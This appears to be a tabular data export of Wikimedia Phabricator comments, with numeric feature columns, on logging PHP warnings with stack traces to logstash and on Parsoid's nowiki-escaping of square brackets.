#patch-for-review",,,1418054865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.606060606060606,0.8181818181818182,"Change 177095 had a related patch set uploaded (by Krinkle):
exception: Implement error-json log

[[GERRIT_URL]]

#patch-for-review"
333320,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"As of 399ba2fecf, MediaWiki has a new debug log group called ""error"" (similar to ""exception"" log we've had for years).

Its entries are PHP Notices, PHP Warnings etc.. These always went (and still go) to PHP stderr (and apache's error log), but are historically lacking stack traces. 399ba2fecf hooks into PHP's error handler and produces a stack traces and forwards it to the new log.

@Reedy and I enabled ([[ https://gerrit.wikimedia.org/r/#/c/173649/ | b4ace9661a ]]) this in production at Amsterdam Hackathon 2014 but it was disabled ([[ https://gerrit.wikimedia.org/r/#/c/173655/ | 82139373383c ]]) as it generated too much data on `fluorine` (1.5G in under 15 minutes).",,,1416970686,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,73,,0.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,15.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.5,11.0,0.0,4.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,4.0,8.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,2.5,3.619671781756181,0.7299658994032396,"As of 399ba2fecf, MediaWiki has a new debug log group called ""error"" (similar to ""exception"" log we've had for years).

Its entries are PHP Notices, PHP Warnings etc.. These always went (and still go) to PHP stderr (and apache's error log), but are historically lacking stack traces. 399ba2fecf hooks into PHP's error handler and produces a stack traces and forwards it to the new log.
SCREEN_NAME and I enabled ([[ URL | b4ace9661a ]]) this in production at Amsterdam Hackathon 2014 but it was disabled ([[ URL | 82139373383c ]]) as it generated too much data on CODE (1.5G in under 15 minutes)."
333319,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"As of 399ba2fecf, MediaWiki has an new debug log group called ""error"" (similar to ""exception"" log we've had for years).

Its entries are PHP Notices, PHP Warnings etc.. These always went (and still go) to PHP stderr (and apache's error log), but are historically lacking stack traces. 399ba2fecf hooks into PHP's error handler and produces a stack traces and forwards it to the new log.

@Reedy and I enabled ([[ https://gerrit.wikimedia.org/r/#/c/173649/ | b4ace9661a ]]) this in production at Amsterdam Hackathon 2014 but it was disabled ([[ https://gerrit.wikimedia.org/r/#/c/173655/ | 82139373383c ]]) as it generated too much data on `fluorine` (1.5G in under 15 minutes).",,,1416970656,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,73,,0.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.5,11.0,0.0,4.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,4.0,8.0,6.5,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,2.5,3.6269181585677748,0.7299658994032396,"As of 399ba2fecf, MediaWiki has an new debug log group called ""error"" (similar to ""exception"" log we've had for years).

Its entries are PHP Notices, PHP Warnings etc.. These always went (and still go) to PHP stderr (and apache's error log), but are historically lacking stack traces. 399ba2fecf hooks into PHP's error handler and produces a stack traces and forwards it to the new log.
SCREEN_NAME and I enabled ([[ URL | b4ace9661a ]]) this in production at Amsterdam Hackathon 2014 but it was disabled ([[ URL | 82139373383c ]]) as it generated too much data on CODE (1.5G in under 15 minutes)."
333038,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"I wonder if we should close this. There's going to need to be some work to port this log into logstash, but that should be a different task. Also, knowing how much disk space it's going to use over a 24 hour period would be useful. The logs should certainly be very compressible...",,,1416933804,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,73,,3.0,0.0,2.0,0.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,7.0,11.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,7.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,5.0,0.0,0.0,0.0,3.7540983606557377,0.7540983606557377,"I wonder if we should close this. There's going to need to be some work to port this log into logstash, but that should be a different task. Also, knowing how much disk space it's going to use over a 24 hour period would be useful. The logs should certainly be very compressible..."
332600,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"The ability to log backtraces in php errors was added in https://gerrit.wikimedia.org/r/#/c/173642/ .
It was enabled in production in https://gerrit.wikimedia.org/r/#/c/173649/ and disabled again in https://gerrit.wikimedia.org/r/#/c/173655/ , because it was using ""up 680M in under a minute"".

Having backtraces enabled is a huge help. So they should be enabled permanently and also sent into logstash.",,,1416852549,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,2.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,13.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,16.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7903225806451615,0.7096774193548387,"The ability to log backtraces in php errors was added in URL .
It was enabled in production in URL and disabled again in URL , because it was using ""up 680M in under a minute"".

Having backtraces enabled is a huge help. So they should be enabled permanently and also sent into logstash."
205588,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Grabbing stack traces for warnings should be possible with a custom error handler and debug_backtrace() or ErrorException. It should probably be put behind a feature flag of some sort so that deployments that don't care about tracking warnings don't incur the performance penalty of generating the backtrace.,,,1404420413,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,52,,2.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,6.0,15.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,25.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,6.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,15.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,6.0,0.0,0.0,0.0,4.943396226415095,0.8113207547169812,Grabbing stack traces for warnings should be possible with a custom error handler and debug_backtrace() or ErrorException. It should probably be put behind a feature flag of some sort so that deployments that don't care about tracking warnings don't incur the performance penalty of generating the backtrace.
205581,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,The above might be from xdebug..,,,1384192111,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,The above might be from xdebug..
205572,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"PHPUnit dumps warnings to the console...

Warning: Invalid argument supplied for foreach() in /var/www/wiki/mediawiki/core/includes/objectcache/SqlBagOStuff.php on line 232

Call Stack:
    0.0009     245936   1. {main}() /var/www/wiki/mediawiki/core/tests/phpunit/phpunit.php:0
    2.0765   14629624   2. MediaWikiPHPUnitCommand::main() /var/www/wiki/mediawiki/core/tests/phpunit/phpunit.php:119
    2.0767   14641960   3. MediaWikiPHPUnitCommand->run() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiPHPUnitCommand.php:64
    2.0767   14642440   4. PHPUnit_TextUI_Command->run() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiPHPUnitCommand.php:80
    7.3004   87363544   5. PHPUnit_TextUI_TestRunner->doRun() /usr/share/php/PHPUnit/TextUI/Command.php:176
    7.3094   87684904   6. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/TextUI/TestRunner.php:349
    7.4141   87686664   7. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:705
   22.3535  178137936   8. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:705
   22.3537  178139472   9. PHPUnit_Framework_TestSuite->runTest() /usr/share/php/PHPUnit/Framework/TestSuite.php:745
   22.3537  178139952  10. MediaWikiTestCase->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:775
   22.3586  178141408  11. ApiQueryContinueTest->addDBData() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiTestCase.php:109
   23.4059  178284240  12. ApiTestCase->editPage() /var/www/wiki/mediawiki/core/tests/phpunit/includes/api/query/ApiQueryContinueTest.php:47
   23.4063  178285904  13. WikiPage->doEditContent() /var/www/wiki/mediawiki/core/tests/phpunit/includes/api/ApiTestCase.php:56
   23.5032  178306552  14. Title->getUserPermissionsErrors() /var/www/wiki/mediawiki/core/includes/WikiPage.php:1904
   23.5032  178306736  15. Title->getUserPermissionsErrorsInternal() /var/www/wiki/mediawiki/core/includes/Title.php:1820
   23.5140  178309936  16. Title->checkPermissionHooks() /var/www/wiki/mediawiki/core/includes/Title.php:2338
   23.5142  178310696  17. wfRunHooks() /var/www/wiki/mediawiki/core/includes/Title.php:1946
   23.5142  178310696  18. Hooks::run() /var/www/wiki/mediawiki/core/includes/GlobalFunctions.php:4032
   23.5167  178312136  19. call_user_func_array() /var/www/wiki/mediawiki/core/includes/Hooks.php:199
   23.5167  178312848  20. PageTranslationHooks::lockedPagesCheck() /var/www/wiki/mediawiki/core/includes/Hooks.php:199
   23.5168  178312984  21. SqlBagOStuff->get() /var/www/wiki/mediawiki/extensions/Translate/tag/PageTranslationHooks.php:777
   23.5168  178313336  22. SqlBagOStuff->getMulti() /var/www/wiki/mediawiki/core/includes/objectcache/SqlBagOStuff.php:200",,,1384189180,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.8333333333333334,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.166666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,9.833333333333334,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,12.833333333333334,0.0,0.0,0.8333333333333334,21.833333333333332,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,4.670212765957447,0.38829787234042556,"PHPUnit dumps warnings to the console...

Warning: Invalid argument supplied for foreach() in /var/www/wiki/mediawiki/core/includes/objectcache/SqlBagOStuff.php on line 232

Call Stack:
    0.0009     245936   1. {main}() /var/www/wiki/mediawiki/core/tests/phpunit/phpunit.php:0
    2.0765   14629624   2. MediaWikiPHPUnitCommand::main() /var/www/wiki/mediawiki/core/tests/phpunit/phpunit.php:119
    2.0767   14641960   3. MediaWikiPHPUnitCommand->run() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiPHPUnitCommand.php:64
    2.0767   14642440   4. PHPUnit_TextUI_Command->run() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiPHPUnitCommand.php:80
    7.3004   87363544   5. PHPUnit_TextUI_TestRunner->doRun() /usr/share/php/PHPUnit/TextUI/Command.php:176
    7.3094   87684904   6. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/TextUI/TestRunner.php:349
    7.4141   87686664   7. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:705
   22.3535  178137936   8. PHPUnit_Framework_TestSuite->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:705
   22.3537  178139472   9. PHPUnit_Framework_TestSuite->runTest() /usr/share/php/PHPUnit/Framework/TestSuite.php:745
   22.3537  178139952  10. MediaWikiTestCase->run() /usr/share/php/PHPUnit/Framework/TestSuite.php:775
   22.3586  178141408  11. ApiQueryContinueTest->addDBData() /var/www/wiki/mediawiki/core/tests/phpunit/MediaWikiTestCase.php:109
   23.4059  178284240  12. ApiTestCase->editPage() /var/www/wiki/mediawiki/core/tests/phpunit/includes/api/query/ApiQueryContinueTest.php:47
   23.4063  178285904  13. WikiPage->doEditContent() /var/www/wiki/mediawiki/core/tests/phpunit/includes/api/ApiTestCase.php:56
   23.5032  178306552  14. Title->getUserPermissionsErrors() /var/www/wiki/mediawiki/core/includes/WikiPage.php:1904
   23.5032  178306736  15. Title->getUserPermissionsErrorsInternal() /var/www/wiki/mediawiki/core/includes/Title.php:1820
   23.5140  178309936  16. Title->checkPermissionHooks() /var/www/wiki/mediawiki/core/includes/Title.php:2338
   23.5142  178310696  17. wfRunHooks() /var/www/wiki/mediawiki/core/includes/Title.php:1946
   23.5142  178310696  18. Hooks::run() /var/www/wiki/mediawiki/core/includes/GlobalFunctions.php:4032
   23.5167  178312136  19. call_user_func_array() /var/www/wiki/mediawiki/core/includes/Hooks.php:199
   23.5167  178312848  20. PageTranslationHooks::lockedPagesCheck() /var/www/wiki/mediawiki/core/includes/Hooks.php:199
   23.5168  178312984  21. SqlBagOStuff->get() /var/www/wiki/mediawiki/extensions/Translate/tag/PageTranslationHooks.php:777
   23.5168  178313336  22. SqlBagOStuff->getMulti() /var/www/wiki/mediawiki/core/includes/objectcache/SqlBagOStuff.php:200"
45067,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"Visual Editor sometimes creates nowiki markup around simple square text brackets. Interestingly, it does that only in some cases, and not in others. For the same structure, it can also handle the text with nowiki, but does it in others. Text case:

 The example below shows that in some cases this is done, in others not:

# Remains unchanged: Test text for the VisualEditor: [[Link target|These are ['''just''' normal brackets]]].
# Superflous nowiki-tags added on editing: Test text for the VisualEditor: [[Link target|These are '''just''' [normal brackets]]].


Edit with Visual Editor to see the effect.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T54268}",Low,25.0,1355402040,1362174611.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_description,resolved,True,c1,1,False,False,True,-29,,1.0,0.0,0.0,0.5,1.0,7.0,0.0,0.0,0.0,0.0,2.5,5.0,0.0,0.5,0.0,0.0,0.0,5.0,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,5.5,1.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,14.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,12.0,0.5,1.0,6.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,1.5,8.0,4.5,0.0,2.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.636904761904762,0.5952380952380952,"Visual Editor sometimes creates nowiki markup around simple square text brackets. Interestingly, it does that only in some cases, and not in others. For the same structure, it can also handle the text with nowiki, but does it in others. Text case:

 The example below shows that in some cases this is done, in others not:

# Remains unchanged: Test text for the VisualEditor: [[Link target|These are ['''just''' normal brackets]]].
# Superflous nowiki-tags added on editing: Test text for the VisualEditor: [[Link target|These are '''just''' [normal brackets]]].


Edit with Visual Editor to see the effect.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T54268}"
204570,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934108,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
204562,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"Much of this is now resolved. [foo] is no longer nowiki-escaped, but [''foo''] is due to the apostrophes.

There is still some room for (minor) improvement by moving the nowiki inside the brackets, although in some cases it is actually easier to read to wrap an entire line in nowiki instead of several nested nowikis.",,,1362174611,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-18,,6.0,0.0,0.0,1.0,0.0,10.0,3.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,8.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,3.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,15.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,6.0,3.732394366197183,0.7183098591549296,"Much of this is now resolved. [foo] is no longer nowiki-escaped, but [''foo''] is due to the apostrophes.

There is still some room for (minor) improvement by moving the nowiki inside the brackets, although in some cases it is actually easier to read to wrap an entire line in nowiki instead of several nested nowikis."
204555,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"Note about the lost ""'''"" in the example above: that is a different bug unrelated to nowiki-escaping -- it should be fixed after the ongoing serializer refactor is complete.",,,1362171505,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,3.0,0.0,14.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.027777777777778,0.8888888888888888,"Note about the lost ""'''"" in the example above: that is a different bug unrelated to nowiki-escaping -- it should be fixed after the ongoing serializer refactor is complete."
204549,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"https://gerrit.wikimedia.org/r/49190 added URL validation in the tokenizer
based on the wiki's configured URL protocols. This now makes the nowiki escaping more precise and fixes the snippet in this bug report.

[subbu@earth lib] echo '[[Link target|These are '''just''' [normal brackets]]]' | node parse --wt2wt
[[Link target|These are just [normal brackets]]]

However, this wont be visible in the VE yet till a new deploy of Parsoid (another couple weeks, I expect).",,,1362171374,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,0.0,6.5,1.0,0.0,0.0,0.0,3.0,3.5,0.0,0.0,0.0,1.0,0.0,5.5,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,12.5,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,7.5,1.0,0.5,8.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,4.5,3.5,0.0,2.5,0.0,1.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,8.0,3.715686274509804,0.7843137254901961,"GERRIT_URL added URL validation in the tokenizer
based on the wiki's configured URL protocols. This now makes the nowiki escaping more precise and fixes the snippet in this bug report.

[subbu@earth lib] echo '[[Link target|These are '''just''' [normal brackets]]]' | node parse --wt2wt
[[Link target|These are just [normal brackets]]]

However, this wont be visible in the VE yet till a new deploy of Parsoid (another couple weeks, I expect)."
204544,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"The problem is that till templates are expanded, it is hard to know whether the content of a ""[..]"" is going to a link or not.  That is the reason the tokenizer defers decisions for all [..] content till all templates are expanded so it can all be handled in a single place.

But, there is another ticket for addressing this a bit more selectively which should address nowiki situations like this: https://bugzilla.wikimedia.org/show_bug.cgi?id=44449 --",,,1359472114,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-22,,3.0,0.0,0.0,3.0,1.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,5.0,6.0,2.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,5.0,0.0,2.0,1.0,0.0,3.0,3.8160919540229883,0.7011494252873564,"The problem is that till templates are expanded, it is hard to know whether the content of a ""[..]"" is going to a link or not.  That is the reason the tokenizer defers decisions for all [..] content till all templates are expanded so it can all be handled in a single place.

But, there is another ticket for addressing this a bit more selectively which should address nowiki situations like this: URL --"
204538,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"I believe adding illogical nowiki markup is somewhat irritating to existing editors.

Perhaps a simple solution: Is there any justification for the tokenizer to consider an opening [ as a token? I believe only [http://, [https://, [irc://, [ircs://, [ftp://, [news://, [mailto: and [gopher:// should be external link tokens.",,,1359448382,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,False,,,-22,,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,3.0,2.0,5.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,9.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,6.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,18.0,4.045454545454546,0.7272727272727273,"I believe adding illogical nowiki markup is somewhat irritating to existing editors.

Perhaps a simple solution: Is there any justification for the tokenizer to consider an opening [ as a token? I believe only [URL [URL [irc://, [ircs://, [ftp://, [news://, [mailto: and [gopher:// should be external link tokens."
204532,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"One underlying issue is that our tokenizer is relatively liberal in what it accepts as an external link target, while a stricter validation is applied after templates etc are expanded. Our wikitext escaper also makes use of the tokenizer (plus some regexps), but does not (yet) consider external links that turn out to have invalid targets.

Current output:

echo ""[[Link target|These are '''just''' [normal brackets]]]"" | nodejs parse --wt2wt
